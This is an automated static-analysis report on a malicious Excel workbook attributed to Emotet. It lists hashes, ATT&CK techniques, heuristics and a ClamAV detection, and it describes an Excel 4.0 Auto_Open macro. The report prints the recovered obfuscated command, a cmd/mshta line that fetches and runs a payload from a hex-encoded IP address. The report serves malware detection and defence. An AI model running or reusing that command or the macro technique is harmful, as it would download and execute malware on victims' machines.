Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 fa10d4c1be08f4e2…

MALICIOUS

Office (OLE) / .XLSX

128.5 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: d85af1d3148d437ae85c290b1bc16ed3 SHA-1: 57e01f57c5d6e08be98bccf3cb58442075cb772d SHA-256: fa10d4c1be08f4e283bdaaa42a1d800768187162e2d90bb494fa4367dcd494ad
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: Malicious File

The file contains an Excel 4.0 macro sheet with an Auto_Open entry, a known Emotet delivery technique. The macro reconstructs and executes the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l', which attempts to download and execute a payload from the specified URL. This indicates the document's purpose is to act as a downloader for further malicious activity.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes